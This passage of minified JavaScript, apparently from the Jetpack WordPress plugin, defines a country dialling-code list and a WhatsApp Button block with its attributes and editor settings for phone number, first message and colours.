strict&quot;;s.d(t,{N:()=&gt;r});const r=[{code:&quot;US&quot;,label:&quot;🇺🇸 +1&quot;,value:&quot;1US&quot;},{code:&quot;CA&quot;,label:&quot;🇨🇦 +1&quot;,value:&quot;1CA&quot;},{code:&quot;BS&quot;,label:&quot;🇧🇸 +1242&quot;,value:&quot;1242BS&quot;},{code:&quot;BB&quot;,label:&quot;🇧🇧 +1246&quot;,value:&quot;1246BB&quot;},{code:&quot;AI&quot;,label:&quot;🇦🇮 +1264&quot;,value:&quot;1264AI&quot;},{code:&quot;AG&quot;,label:&quot;🇦🇬 +1268&quot;,value:&quot;1268AG&quot;},{code:&quot;VG&quot;,label:&quot;🇻🇬 +1284&quot;,value:&quot;1284VG&quot;},{code:&quot;VI&quot;,label:&quot;🇻🇮 +1340&quot;,value:&quot;1340VI&quot;},{code:&quot;BM&quot;,label:&quot;🇧🇲 +1441&quot;,value:&quot;1441BM&quot;},{code:&quot;GD&quot;,label:&quot;🇬🇩 +1473&quot;,value:&quot;1473GD&quot;},{code:&quot;TC&quot;,label:&quot;🇹🇨 +1649&quot;,value:&quot;1649TC&quot;},{code:&quot;MS&quot;,label:&quot;🇲🇸 +1664&quot;,value:&quot;1664MS&quot;},{code:&quot;MP&quot;,label:&quot;🇲🇵 +1670&quot;,value:&quot;1670MP&quot;},{code:&quot;GU&quot;,label:&quot;🇬🇺 +1671&quot;,value:&quot;1671GU&quot;},{code:&quot;AS&quot;,label:&quot;🇦🇸 +1684&quot;,value:&quot;1684AS&quot;},{code:&quot;LC&quot;,label:&quot;🇱🇨 +1758&quot;,value:&quot;1758LC&quot;},{code:&quot;DM&quot;,label:&quot;🇩🇲 +1767&quot;,value:&quot;1767DM&quot;},{code:&quot;VC&quot;,label:&quot;🇻🇨 +1784&quot;,value:&quot;1784VC&quot;},{code:&quot;DO&quot;,label:&quot;🇩🇴 +1849&quot;,value:&quot;1849DO&quot;},{code:&quot;TT&quot;,label:&quot;🇹🇹 +1868&quot;,value:&quot;1868TT&quot;},{code:&quot;KN&quot;,label:&quot;🇰🇳 +1869&quot;,value:&quot;1869KN&quot;},{code:&quot;JM&quot;,label:&quot;🇯🇲 +1876&quot;,value:&quot;1876JM&quot;},{code:&quot;PR&quot;,label:&quot;🇵🇷 +1939&quot;,value:&quot;1939PR&quot;},{code:&quot;EG&quot;,label:&quot;🇪🇬 +20&quot;,value:&quot;20EG&quot;},{code:&quot;MA&quot;,label:&quot;🇲🇦 +212&quot;,value:&quot;212MA&quot;},{code:&quot;DZ&quot;,label:&quot;🇩🇿 +213&quot;,value:&quot;213DZ&quot;},{code:&quot;TN&quot;,label:&quot;🇹🇳 +216&quot;,value:&quot;216TN&quot;},{code:&quot;LY&quot;,label:&quot;🇱🇾 +218&quot;,value:&quot;218LY&quot;},{code:&quot;GM&quot;,label:&quot;🇬🇲 +220&quot;,value:&quot;220GM&quot;},{code:&quot;SN&quot;,label:&quot;🇸🇳 +221&quot;,value:&quot;221SN&quot;},{code:&quot;MR&quot;,label:&quot;🇲🇷 +222&quot;,value:&quot;222MR&quot;},{code:&quot;ML&quot;,label:&quot;🇲🇱 +223&quot;,value:&quot;223ML&quot;},{code:&quot;GN&quot;,label:&quot;🇬🇳 +224&quot;,value:&quot;224GN&quot;},{code:&quot;CI&quot;,label:&quot;🇨🇮 +225&quot;,value:&quot;225CI&quot;},{code:&quot;BF&quot;,label:&quot;🇧🇫 +226&quot;,value:&quot;226BF&quot;},{code:&quot;NE&quot;,label:&quot;🇳🇪 +227&quot;,value:&quot;227NE&quot;},{code:&quot;TG&quot;,label:&quot;🇹🇬 +228&quot;,value:&quot;228TG&quot;},{code:&quot;BJ&quot;,label:&quot;🇧🇯 +229&quot;,value:&quot;229BJ&quot;},{code:&quot;MU&quot;,label:&quot;🇲🇺 +230&quot;,value:&quot;230MU&quot;},{code:&quot;LR&quot;,label:&quot;🇱🇷 +231&quot;,value:&quot;231LR&quot;},{code:&quot;SL&quot;,label:&quot;🇸🇱 +232&quot;,value:&quot;232SL&quot;},{code:&quot;GH&quot;,label:&quot;🇬🇭 +233&quot;,value:&quot;233GH&quot;},{code:&quot;NG&quot;,label:&quot;🇳🇬 +234&quot;,value:&quot;234NG&quot;},{code:&quot;TD&quot;,label:&quot;🇹🇩 +235&quot;,value:&quot;235TD&quot;},{code:&quot;CF&quot;,label:&quot;🇨🇫 +236&quot;,value:&quot;236CF&quot;},{code:&quot;CM&quot;,label:&quot;🇨🇲 +237&quot;,value:&quot;237CM&quot;},{code:&quot;CV&quot;,label:&quot;🇨🇻 +238&quot;,value:&quot;238CV&quot;},{code:&quot;ST&quot;,label:&quot;🇸🇹 +239&quot;,value:&quot;239ST&quot;},{code:&quot;GQ&quot;,label:&quot;🇬🇶 +240&quot;,value:&quot;240GQ&quot;},{code:&quot;GA&quot;,label:&quot;🇬🇦 +241&quot;,value:&quot;241GA&quot;},{code:&quot;CG&quot;,label:&quot;🇨🇬 +242&quot;,value:&quot;242CG&quot;},{code:&quot;CD&quot;,label:&quot;🇨🇩 +243&quot;,value:&quot;243CD&quot;},{code:&quot;AO&quot;,label:&quot;🇦🇴 +244&quot;,value:&quot;244AO&quot;},{code:&quot;GW&quot;,label:&quot;🇬🇼 +245&quot;,value:&quot;245GW&quot;},{code:&quot;IO&quot;,label:&quot;🇮🇴 +246&quot;,value:&quot;246IO&quot;},{code:&quot;SC&quot;,label:&quot;🇸🇨 +248&quot;,value:&quot;248SC&quot;},{code:&quot;SD&quot;,label:&quot;🇸🇩 +249&quot;,value:&quot;249SD&quot;},{code:&quot;RW&quot;,label:&quot;🇷🇼 +250&quot;,value:&quot;250RW&quot;},{code:&quot;ET&quot;,label:&quot;🇪🇹 +251&quot;,value:&quot;251ET&quot;},{code:&quot;SO&quot;,label:&quot;🇸🇴 +252&quot;,value:&quot;252SO&quot;},{code:&quot;DJ&quot;,label:&quot;🇩🇯 +253&quot;,value:&quot;253DJ&quot;},{code:&quot;KE&quot;,label:&quot;🇰🇪 +254&quot;,value:&quot;254KE&quot;},{code:&quot;TZ&quot;,label:&quot;🇹🇿 +255&quot;,value:&quot;255TZ&quot;},{code:&quot;UG&quot;,label:&quot;🇺🇬 +256&quot;,value:&quot;256UG&quot;},{code:&quot;BI&quot;,label:&quot;🇧🇮 +257&quot;,value:&quot;257BI&quot;},{code:&quot;MZ&quot;,label:&quot;🇲🇿 +258&quot;,value:&quot;258MZ&quot;},{code:&quot;ZM&quot;,label:&quot;🇿🇲 +260&quot;,value:&quot;260ZM&quot;},{code:&quot;MG&quot;,label:&quot;🇲🇬 +261&quot;,value:&quot;261MG&quot;},{code:&quot;YT&quot;,label:&quot;🇾🇹 +262&quot;,value:&quot;262YT&quot;},{code:&quot;RE&quot;,label:&quot;🇷🇪 +262&quot;,value:&quot;262RE&quot;},{code:&quot;ZW&quot;,label:&quot;🇿🇼 +263&quot;,value:&quot;263ZW&quot;},{code:&quot;NA&quot;,label:&quot;🇳🇦 +264&quot;,value:&quot;264NA&quot;},{code:&quot;MW&quot;,label:&quot;🇲🇼 +265&quot;,value:&quot;265MW&quot;},{code:&quot;LS&quot;,label:&quot;🇱🇸 +266&quot;,value:&quot;266LS&quot;},{code:&quot;BW&quot;,label:&quot;🇧🇼 +267&quot;,value:&quot;267BW&quot;},{code:&quot;SZ&quot;,label:&quot;🇸🇿 +268&quot;,value:&quot;268SZ&quot;},{code:&quot;KM&quot;,label:&quot;🇰🇲 +269&quot;,value:&quot;269KM&quot;},{code:&quot;ZA&quot;,label:&quot;🇿🇦 +27&quot;,value:&quot;27ZA&quot;},{code:&quot;SH&quot;,label:&quot;🇸🇭 +290&quot;,value:&quot;290SH&quot;},{code:&quot;ER&quot;,label:&quot;🇪🇷 +291&quot;,value:&quot;291ER&quot;},{code:&quot;AW&quot;,label:&quot;🇦🇼 +297&quot;,value:&quot;297AW&quot;},{code:&quot;FO&quot;,label:&quot;🇫🇴 +298&quot;,value:&quot;298FO&quot;},{code:&quot;GL&quot;,label:&quot;🇬🇱 +299&quot;,value:&quot;299GL&quot;},{code:&quot;GR&quot;,label:&quot;🇬🇷 +30&quot;,value:&quot;30GR&quot;},{code:&quot;NL&quot;,label:&quot;🇳🇱 +31&quot;,value:&quot;31NL&quot;},{code:&quot;BE&quot;,label:&quot;🇧🇪 +32&quot;,value:&quot;32BE&quot;},{code:&quot;FR&quot;,label:&quot;🇫🇷 +33&quot;,value:&quot;33FR&quot;},{code:&quot;ES&quot;,label:&quot;🇪🇸 +34&quot;,value:&quot;34ES&quot;},{code:&quot;KY&quot;,label:&quot;🇰🇾 +345&quot;,value:&quot;345KY&quot;},{code:&quot;GI&quot;,label:&quot;🇬🇮 +350&quot;,value:&quot;350GI&quot;},{code:&quot;PT&quot;,label:&quot;🇵🇹 +351&quot;,value:&quot;351PT&quot;},{code:&quot;LU&quot;,label:&quot;🇱🇺 +352&quot;,value:&quot;352LU&quot;},{code:&quot;IE&quot;,label:&quot;🇮🇪 +353&quot;,value:&quot;353IE&quot;},{code:&quot;IS&quot;,label:&quot;🇮🇸 +354&quot;,value:&quot;354IS&quot;},{code:&quot;AL&quot;,label:&quot;🇦🇱 +355&quot;,value:&quot;355AL&quot;},{code:&quot;MT&quot;,label:&quot;🇲🇹 +356&quot;,value:&quot;356MT&quot;},{code:&quot;CY&quot;,label:&quot;🇨🇾 +357&quot;,value:&quot;357CY&quot;},{code:&quot;FI&quot;,label:&quot;🇫🇮 +358&quot;,value:&quot;358FI&quot;},{code:&quot;BG&quot;,label:&quot;🇧🇬 +359&quot;,value:&quot;359BG&quot;},{code:&quot;HU&quot;,label:&quot;🇭🇺 +36&quot;,value:&quot;36HU&quot;},{code:&quot;LT&quot;,label:&quot;🇱🇹 +370&quot;,value:&quot;370LT&quot;},{code:&quot;LV&quot;,label:&quot;🇱🇻 +371&quot;,value:&quot;371LV&quot;},{code:&quot;EE&quot;,label:&quot;🇪🇪 +372&quot;,value:&quot;372EE&quot;},{code:&quot;MD&quot;,label:&quot;🇲🇩 +373&quot;,value:&quot;373MD&quot;},{code:&quot;AM&quot;,label:&quot;🇦🇲 +374&quot;,value:&quot;374AM&quot;},{code:&quot;BY&quot;,label:&quot;🇧🇾 +375&quot;,value:&quot;375BY&quot;},{code:&quot;AD&quot;,label:&quot;🇦🇩 +376&quot;,value:&quot;376AD&quot;},{code:&quot;MC&quot;,label:&quot;🇲🇨 +377&quot;,value:&quot;377MC&quot;},{code:&quot;SM&quot;,label:&quot;🇸🇲 +378&quot;,value:&quot;378SM&quot;},{code:&quot;VA&quot;,label:&quot;🇻🇦 +379&quot;,value:&quot;379VA&quot;},{code:&quot;UA&quot;,label:&quot;🇺🇦 +380&quot;,value:&quot;380UA&quot;},{code:&quot;RS&quot;,label:&quot;🇷🇸 +381&quot;,value:&quot;381RS&quot;},{code:&quot;ME&quot;,label:&quot;🇲🇪 +382&quot;,value:&quot;382ME&quot;},{code:&quot;XK&quot;,label:&quot;🇽🇰 +383&quot;,value:&quot;383XK&quot;},{code:&quot;HR&quot;,label:&quot;🇭🇷 +385&quot;,value:&quot;385HR&quot;},{code:&quot;SI&quot;,label:&quot;🇸🇮 +386&quot;,value:&quot;386SI&quot;},{code:&quot;BA&quot;,label:&quot;🇧🇦 +387&quot;,value:&quot;387BA&quot;},{code:&quot;MK&quot;,label:&quot;🇲🇰 +389&quot;,value:&quot;389MK&quot;},{code:&quot;IT&quot;,label:&quot;🇮🇹 +39&quot;,value:&quot;39IT&quot;},{code:&quot;RO&quot;,label:&quot;🇷🇴 +40&quot;,value:&quot;40RO&quot;},{code:&quot;CH&quot;,label:&quot;🇨🇭 +41&quot;,value:&quot;41CH&quot;},{code:&quot;CZ&quot;,label:&quot;🇨🇿 +420&quot;,value:&quot;420CZ&quot;},{code:&quot;SK&quot;,label:&quot;🇸🇰 +421&quot;,value:&quot;421SK&quot;},{code:&quot;LI&quot;,label:&quot;🇱🇮 +423&quot;,value:&quot;423LI&quot;},{code:&quot;AT&quot;,label:&quot;🇦🇹 +43&quot;,value:&quot;43AT&quot;},{code:&quot;IM&quot;,label:&quot;🇮🇲 +44&quot;,value:&quot;44IM&quot;},{code:&quot;GG&quot;,label:&quot;🇬🇬 +44&quot;,value:&quot;44GG&quot;},{code:&quot;JE&quot;,label:&quot;🇯🇪 +44&quot;,value:&quot;44JE&quot;},{code:&quot;GB&quot;,label:&quot;🇬🇧 +44&quot;,value:&quot;44GB&quot;},{code:&quot;DK&quot;,label:&quot;🇩🇰 +45&quot;,value:&quot;45DK&quot;},{code:&quot;SE&quot;,label:&quot;🇸🇪 +46&quot;,value:&quot;46SE&quot;},{code:&quot;NO&quot;,label:&quot;🇳🇴 +47&quot;,value:&quot;47NO&quot;},{code:&quot;SJ&quot;,label:&quot;🇸🇯 +47&quot;,value:&quot;47SJ&quot;},{code:&quot;PL&quot;,label:&quot;🇵🇱 +48&quot;,value:&quot;48PL&quot;},{code:&quot;DE&quot;,label:&quot;🇩🇪 +49&quot;,value:&quot;49DE&quot;},{code:&quot;FK&quot;,label:&quot;🇫🇰 +500&quot;,value:&quot;500FK&quot;},{code:&quot;GS&quot;,label:&quot;🇬🇸 +500&quot;,value:&quot;500GS&quot;},{code:&quot;BZ&quot;,label:&quot;🇧🇿 +501&quot;,value:&quot;501BZ&quot;},{code:&quot;GT&quot;,label:&quot;🇬🇹 +502&quot;,value:&quot;502GT&quot;},{code:&quot;SV&quot;,label:&quot;🇸🇻 +503&quot;,value:&quot;503SV&quot;},{code:&quot;HN&quot;,label:&quot;🇭🇳 +504&quot;,value:&quot;504HN&quot;},{code:&quot;NI&quot;,label:&quot;🇳🇮 +505&quot;,value:&quot;505NI&quot;},{code:&quot;CR&quot;,label:&quot;🇨🇷 +506&quot;,value:&quot;506CR&quot;},{code:&quot;PA&quot;,label:&quot;🇵🇦 +507&quot;,value:&quot;507PA&quot;},{code:&quot;PM&quot;,label:&quot;🇵🇲 +508&quot;,value:&quot;508PM&quot;},{code:&quot;HT&quot;,label:&quot;🇭🇹 +509&quot;,value:&quot;509HT&quot;},{code:&quot;PE&quot;,label:&quot;🇵🇪 +51&quot;,value:&quot;51PE&quot;},{code:&quot;MX&quot;,label:&quot;🇲🇽 +52&quot;,value:&quot;52MX&quot;},{code:&quot;CU&quot;,label:&quot;🇨🇺 +53&quot;,value:&quot;53CU&quot;},{code:&quot;AR&quot;,label:&quot;🇦🇷 +54&quot;,value:&quot;54AR&quot;},{code:&quot;BR&quot;,label:&quot;🇧🇷 +55&quot;,value:&quot;55BR&quot;},{code:&quot;CL&quot;,label:&quot;🇨🇱 +56&quot;,value:&quot;56CL&quot;},{code:&quot;CO&quot;,label:&quot;🇨🇴 +57&quot;,value:&quot;57CO&quot;},{code:&quot;VE&quot;,label:&quot;🇻🇪 +58&quot;,value:&quot;58VE&quot;},{code:&quot;BL&quot;,label:&quot;🇧🇱 +590&quot;,value:&quot;590BL&quot;},{code:&quot;MF&quot;,label:&quot;🇲🇫 +590&quot;,value:&quot;590MF&quot;},{code:&quot;GP&quot;,label:&quot;🇬🇵 +590&quot;,value:&quot;590GP&quot;},{code:&quot;BO&quot;,label:&quot;🇧🇴 +591&quot;,value:&quot;591BO&quot;},{code:&quot;GY&quot;,label:&quot;🇬🇾 +592&quot;,value:&quot;592GY&quot;},{code:&quot;EC&quot;,label:&quot;🇪🇨 +593&quot;,value:&quot;593EC&quot;},{code:&quot;GF&quot;,label:&quot;🇬🇫 +594&quot;,value:&quot;594GF&quot;},{code:&quot;PY&quot;,label:&quot;🇵🇾 +595&quot;,value:&quot;595PY&quot;},{code:&quot;MQ&quot;,label:&quot;🇲🇶 +596&quot;,value:&quot;596MQ&quot;},{code:&quot;SR&quot;,label:&quot;🇸🇷 +597&quot;,value:&quot;597SR&quot;},{code:&quot;UY&quot;,label:&quot;🇺🇾 +598&quot;,value:&quot;598UY&quot;},{code:&quot;MY&quot;,label:&quot;🇲🇾 +60&quot;,value:&quot;60MY&quot;},{code:&quot;CC&quot;,label:&quot;🇨🇨 +61&quot;,value:&quot;61CC&quot;},{code:&quot;AU&quot;,label:&quot;🇦🇺 +61&quot;,value:&quot;61AU&quot;},{code:&quot;CX&quot;,label:&quot;🇨🇽 +61&quot;,value:&quot;61CX&quot;},{code:&quot;ID&quot;,label:&quot;🇮🇩 +62&quot;,value:&quot;62ID&quot;},{code:&quot;PH&quot;,label:&quot;🇵🇭 +63&quot;,value:&quot;63PH&quot;},{code:&quot;NZ&quot;,label:&quot;🇳🇿 +64&quot;,value:&quot;64NZ&quot;},{code:&quot;SG&quot;,label:&quot;🇸🇬 +65&quot;,value:&quot;65SG&quot;},{code:&quot;TH&quot;,label:&quot;🇹🇭 +66&quot;,value:&quot;66TH&quot;},{code:&quot;TL&quot;,label:&quot;🇹🇱 +670&quot;,value:&quot;670TL&quot;},{code:&quot;NF&quot;,label:&quot;🇳🇫 +672&quot;,value:&quot;672NF&quot;},{code:&quot;BN&quot;,label:&quot;🇧🇳 +673&quot;,value:&quot;673BN&quot;},{code:&quot;NR&quot;,label:&quot;🇳🇷 +674&quot;,value:&quot;674NR&quot;},{code:&quot;PG&quot;,label:&quot;🇵🇬 +675&quot;,value:&quot;675PG&quot;},{code:&quot;TO&quot;,label:&quot;🇹🇴 +676&quot;,value:&quot;676TO&quot;},{code:&quot;SB&quot;,label:&quot;🇸🇧 +677&quot;,value:&quot;677SB&quot;},{code:&quot;VU&quot;,label:&quot;🇻🇺 +678&quot;,value:&quot;678VU&quot;},{code:&quot;FJ&quot;,label:&quot;🇫🇯 +679&quot;,value:&quot;679FJ&quot;},{code:&quot;PW&quot;,label:&quot;🇵🇼 +680&quot;,value:&quot;680PW&quot;},{code:&quot;WF&quot;,label:&quot;🇼🇫 +681&quot;,value:&quot;681WF&quot;},{code:&quot;CK&quot;,label:&quot;🇨🇰 +682&quot;,value:&quot;682CK&quot;},{code:&quot;NU&quot;,label:&quot;🇳🇺 +683&quot;,value:&quot;683NU&quot;},{code:&quot;WS&quot;,label:&quot;🇼🇸 +685&quot;,value:&quot;685WS&quot;},{code:&quot;KI&quot;,label:&quot;🇰🇮 +686&quot;,value:&quot;686KI&quot;},{code:&quot;NC&quot;,label:&quot;🇳🇨 +687&quot;,value:&quot;687NC&quot;},{code:&quot;TV&quot;,label:&quot;🇹🇻 +688&quot;,value:&quot;688TV&quot;},{code:&quot;PF&quot;,label:&quot;🇵🇫 +689&quot;,value:&quot;689PF&quot;},{code:&quot;TK&quot;,label:&quot;🇹🇰 +690&quot;,value:&quot;690TK&quot;},{code:&quot;FM&quot;,label:&quot;🇫🇲 +691&quot;,value:&quot;691FM&quot;},{code:&quot;MH&quot;,label:&quot;🇲🇭 +692&quot;,value:&quot;692MH&quot;},{code:&quot;RU&quot;,label:&quot;🇷🇺 +7&quot;,value:&quot;7RU&quot;},{code:&quot;KZ&quot;,label:&quot;🇰🇿 +77&quot;,value:&quot;77KZ&quot;},{code:&quot;JP&quot;,label:&quot;🇯🇵 +81&quot;,value:&quot;81JP&quot;},{code:&quot;KR&quot;,label:&quot;🇰🇷 +82&quot;,value:&quot;82KR&quot;},{code:&quot;VN&quot;,label:&quot;🇻🇳 +84&quot;,value:&quot;84VN&quot;},{code:&quot;KP&quot;,label:&quot;🇰🇵 +850&quot;,value:&quot;850KP&quot;},{code:&quot;HK&quot;,label:&quot;🇭🇰 +852&quot;,value:&quot;852HK&quot;},{code:&quot;MO&quot;,label:&quot;🇲🇴 +853&quot;,value:&quot;853MO&quot;},{code:&quot;KH&quot;,label:&quot;🇰🇭 +855&quot;,value:&quot;855KH&quot;},{code:&quot;LA&quot;,label:&quot;🇱🇦 +856&quot;,value:&quot;856LA&quot;},{code:&quot;CN&quot;,label:&quot;🇨🇳 +86&quot;,value:&quot;86CN&quot;},{code:&quot;PN&quot;,label:&quot;🇵🇳 +872&quot;,value:&quot;872PN&quot;},{code:&quot;BD&quot;,label:&quot;🇧🇩 +880&quot;,value:&quot;880BD&quot;},{code:&quot;TW&quot;,label:&quot;🇹🇼 +886&quot;,value:&quot;886TW&quot;},{code:&quot;TR&quot;,label:&quot;🇹🇷 +90&quot;,value:&quot;90TR&quot;},{code:&quot;IN&quot;,label:&quot;🇮🇳 +91&quot;,value:&quot;91IN&quot;},{code:&quot;PK&quot;,label:&quot;🇵🇰 +92&quot;,value:&quot;92PK&quot;},{code:&quot;AF&quot;,label:&quot;🇦🇫 +93&quot;,value:&quot;93AF&quot;},{code:&quot;LK&quot;,label:&quot;🇱🇰 +94&quot;,value:&quot;94LK&quot;},{code:&quot;MM&quot;,label:&quot;🇲🇲 +95&quot;,value:&quot;95MM&quot;},{code:&quot;MV&quot;,label:&quot;🇲🇻 +960&quot;,value:&quot;960MV&quot;},{code:&quot;LB&quot;,label:&quot;🇱🇧 +961&quot;,value:&quot;961LB&quot;},{code:&quot;JO&quot;,label:&quot;🇯🇴 +962&quot;,value:&quot;962JO&quot;},{code:&quot;SY&quot;,label:&quot;🇸🇾 +963&quot;,value:&quot;963SY&quot;},{code:&quot;IQ&quot;,label:&quot;🇮🇶 +964&quot;,value:&quot;964IQ&quot;},{code:&quot;KW&quot;,label:&quot;🇰🇼 +965&quot;,value:&quot;965KW&quot;},{code:&quot;SA&quot;,label:&quot;🇸🇦 +966&quot;,value:&quot;966SA&quot;},{code:&quot;YE&quot;,label:&quot;🇾🇪 +967&quot;,value:&quot;967YE&quot;},{code:&quot;OM&quot;,label:&quot;🇴🇲 +968&quot;,value:&quot;968OM&quot;},{code:&quot;PS&quot;,label:&quot;🇵🇸 +970&quot;,value:&quot;970PS&quot;},{code:&quot;AE&quot;,label:&quot;🇦🇪 +971&quot;,value:&quot;971AE&quot;},{code:&quot;IL&quot;,label:&quot;🇮🇱 +972&quot;,value:&quot;972IL&quot;},{code:&quot;BH&quot;,label:&quot;🇧🇭 +973&quot;,value:&quot;973BH&quot;},{code:&quot;QA&quot;,label:&quot;🇶🇦 +974&quot;,value:&quot;974QA&quot;},{code:&quot;BT&quot;,label:&quot;🇧🇹 +975&quot;,value:&quot;975BT&quot;},{code:&quot;MN&quot;,label:&quot;🇲🇳 +976&quot;,value:&quot;976MN&quot;},{code:&quot;NP&quot;,label:&quot;🇳🇵 +977&quot;,value:&quot;977NP&quot;},{code:&quot;IR&quot;,label:&quot;🇮🇷 +98&quot;,value:&quot;98IR&quot;},{code:&quot;TJ&quot;,label:&quot;🇹🇯 +992&quot;,value:&quot;992TJ&quot;},{code:&quot;TM&quot;,label:&quot;🇹🇲 +993&quot;,value:&quot;993TM&quot;},{code:&quot;AZ&quot;,label:&quot;🇦🇿 +994&quot;,value:&quot;994AZ&quot;},{code:&quot;GE&quot;,label:&quot;🇬🇪 +995&quot;,value:&quot;995GE&quot;},{code:&quot;KG&quot;,label:&quot;🇰🇬 +996&quot;,value:&quot;996KG&quot;},{code:&quot;UZ&quot;,label:&quot;🇺🇿 +998&quot;,value:&quot;998UZ&quot;}]},92335(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(27723),n=s(19785),o=s(61642);const __=r.__,a=[{isDefault:!0,name:&quot;whatsapp-button&quot;,title:__(&quot;WhatsApp Button&quot;,&quot;jetpack&quot;),description:__(&quot;Let your visitors send you messages on WhatsApp with the tap of a button.&quot;,&quot;jetpack&quot;),icon:(0,n.K)(&quot;send-a-message&quot;,o.A),innerBlocks:[[&quot;jetpack/whatsapp-button&quot;,{}]]}]},43450(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(27723);const __=r.__,n={countryCode:{type:&quot;string&quot;},phoneNumber:{type:&quot;string&quot;},firstMessage:{type:&quot;string&quot;,default:__(&quot;Hi, I got your WhatsApp information from your website.&quot;,&quot;jetpack&quot;)},buttonText:{type:&quot;string&quot;,source:&quot;html&quot;,selector:&quot;a.whatsapp-block__button&quot;,default:__(&quot;Chat on WhatsApp&quot;,&quot;jetpack&quot;)},backgroundColor:{type:&quot;string&quot;,default:&quot;#25D366&quot;},colorClass:{type:&quot;string&quot;,default:&quot;dark&quot;},openInNewTab:{type:&quot;boolean&quot;,default:!1}}},90557(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;m});var r=s(94715),n=s(56427),o=s(86087),a=s(27723),i=s(48558),l=s(90840),c=s(62289),u=s(57699),d=s(10790);const __=a.__,_x=a._x,p=&quot;#25D366&quot;,h=&quot;#465B64&quot;;function m({attributes:e,setAttributes:t,context:s}){const{countryCode:a,phoneNumber:m,firstMessage:g,openInNewTab:f,backgroundColor:b}=e,[v,k]=(0,o.useState)(!0),y=()=&gt;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsxs)(n.BaseControl,{__nextHasNoMarginBottom:!0,help:__(&quot;Enter the phone number you use for WhatsApp and would like to be contacted on.&quot;,&quot;jetpack&quot;),className:&quot;jetpack-whatsapp-button__phonenumber&quot;,children:[(0,d.jsx)(n.BaseControl.VisualLabel,{children:__(&quot;Phone Number&quot;,&quot;jetpack&quot;)}),(0,d.jsx)(n.SelectControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,label:__(&quot;Country code&quot;,&quot;jetpack&quot;),value:a,onChange:e=&gt;t({countryCode:e}),options:u.N,hideLabelFromVision:!0}),(0,d.jsx)(n.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,placeholder:__(&quot;Your phone number…&quot;,&quot;jetpack&quot;),onChange:e=&gt;{t({phoneNumber:e}),0===e.length&amp;&amp;k(!0),e.length&gt;2&amp;&amp;k((e=&gt;!(void 0===e||e.length&lt;1)&amp;&amp;RegExp(/^[+]?[\s./0-9]*[(]?[0-9]{1,4}[)]?[-\s./0-9]*$/,&quot;g&quot;).test(a.replace(/\D/g,&quot;&quot;)+e))(e))},value:m}),!v&amp;&amp;(0,d.jsx)(l.A,{isError:!0,className:&quot;jetpack-whatsapp-error&quot;,children:__(&quot;Please enter a valid phone number.&quot;,&quot;jetpack&quot;)})]}),&quot;inspector&quot;===s&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(n.TextareaControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Default First Message&quot;,&quot;jetpack&quot;),help:__(&quot;The default first message that will be sent by visitors when using this button.&quot;,&quot;jetpack&quot;),value:g,onChange:e=&gt;t({firstMessage:e})}),(0,d.jsx)(n.ToggleControl,{__nextHasNoMarginBottom:!0,label:__(&quot;Open in new tab&quot;,&quot;jetpack&quot;),checked:f,onChange:e=&gt;t({openInNewTab:e}),help:__(&quot;When the button is tapped, should a new tab be opened if the visitor does not have WhatsApp installed?&quot;,&quot;jetpack&quot;)})]})]});return&quot;toolbar&quot;===s?(0,d.jsx)(n.ToolbarGroup,{children:(0,d.jsx)(n.Dropdown,{placement:&quot;bottom-start&quot;,className:&quot;jetpack-whatsapp-button-settings-selector&quot;,contentClassName:&quot;jetpack-whatsapp-button__popover&quot;,renderToggle:({isOpen:e,onToggle:t})=&gt;((e,t)=&gt;(0,d.jsx)(n.Button,{className:&quot;components-toolbar__control jetpack-contact-form__toggle&quot;,label:__(&quot;WhatsApp Button Settings&quot;,&quot;jetpack&quot;),onClick:t,onKeyDown:s=&gt;{e||s.keyCode!==i.DOWN||(s.preventDefault(),s.stopPropagation(),t())},icon:(0,c.A)((0,d.jsx)(n.Path,{d:&quot;M10.82 12.49c.02-.16.04-.32.04-.49 0-.17-.02-.33-.04-.49l1.08-.82c.1-.07.12-.21.06-.32l-1.03-1.73c-.06-.11-.2-.15-.31-.11l-1.28.5c-.27-.2-.56-.36-.87-.49l-.2-1.33c0-.12-.11-.21-.24-.21H5.98c-.13 0-.24.09-.26.21l-.2 1.32c-.31.12-.6.3-.87.49l-1.28-.5c-.12-.05-.25 0-.31.11l-1.03 1.73c-.06.12-.03.25.07.33l1.08.82c-.02.16-.03.33-.03.49 0 .17.02.33.04.49l-1.09.83c-.1.07-.12.21-.06.32l1.03 1.73c.06.11.2.15.31.11l1.28-.5c.27.2.56.36.87.49l.2 1.32c.01.12.12.21.25.21h2.06c.13 0 .24-.09.25-.21l.2-1.32c.31-.12.6-.3.87-.49l1.28.5c.12.05.25 0 .31-.11l1.03-1.73c.06-.11.04-.24-.06-.32l-1.1-.83zM7 13.75c-.99 0-1.8-.78-1.8-1.75s.81-1.75 1.8-1.75 1.8.78 1.8 1.75S8 13.75 7 13.75zM18 1.01L8 1c-1.1 0-2 .9-2 2v3h2V5h10v14H8v-1H6v3c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V3c0-1.1-.9-1.99-2-1.99z&quot;}))}))(e,t),renderContent:y})}):(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(n.PanelBody,{title:__(&quot;WhatsApp Button Settings&quot;,&quot;jetpack&quot;),initialOpen:!0,children:y()}),(0,d.jsx)(r.PanelColorSettings,{title:__(&quot;Color Settings&quot;,&quot;jetpack&quot;),initialOpen:!1,colorSettings:[{value:b,onChange:e=&gt;(e=&gt;{if(t({backgroundColor:e}),void 0===e||e===p||e===h)return t({colorClass:&quot;dark&quot;});t({colorClass:&quot;light&quot;})})(e),label:__(&quot;Background Color&quot;,&quot;jetpack&quot;),disableCustomColors:!0,colors:[{name:_x(&quot;WhatsApp Green&quot;,&quot;background color name&quot;,&quot;jetpack&quot;),slug:&quot;whatsapp-green&quot;,color:p},{name:_x(&quot;WhatsApp Dark&quot;,&quot;background color name&quot;,&quot;jetpack&quot;),slug:&quot;whatsapp-dark&quot;,color:h},{name:_x(&quot;WhatsApp Light&quot;,&quot;background color name&quot;,&quot;jetpack&quot;),slug:&quot;whatsapp-light&quot;,color:&quot;#F4F4F4&quot;},{name:_x(&quot;White&quot;,&quot;background color 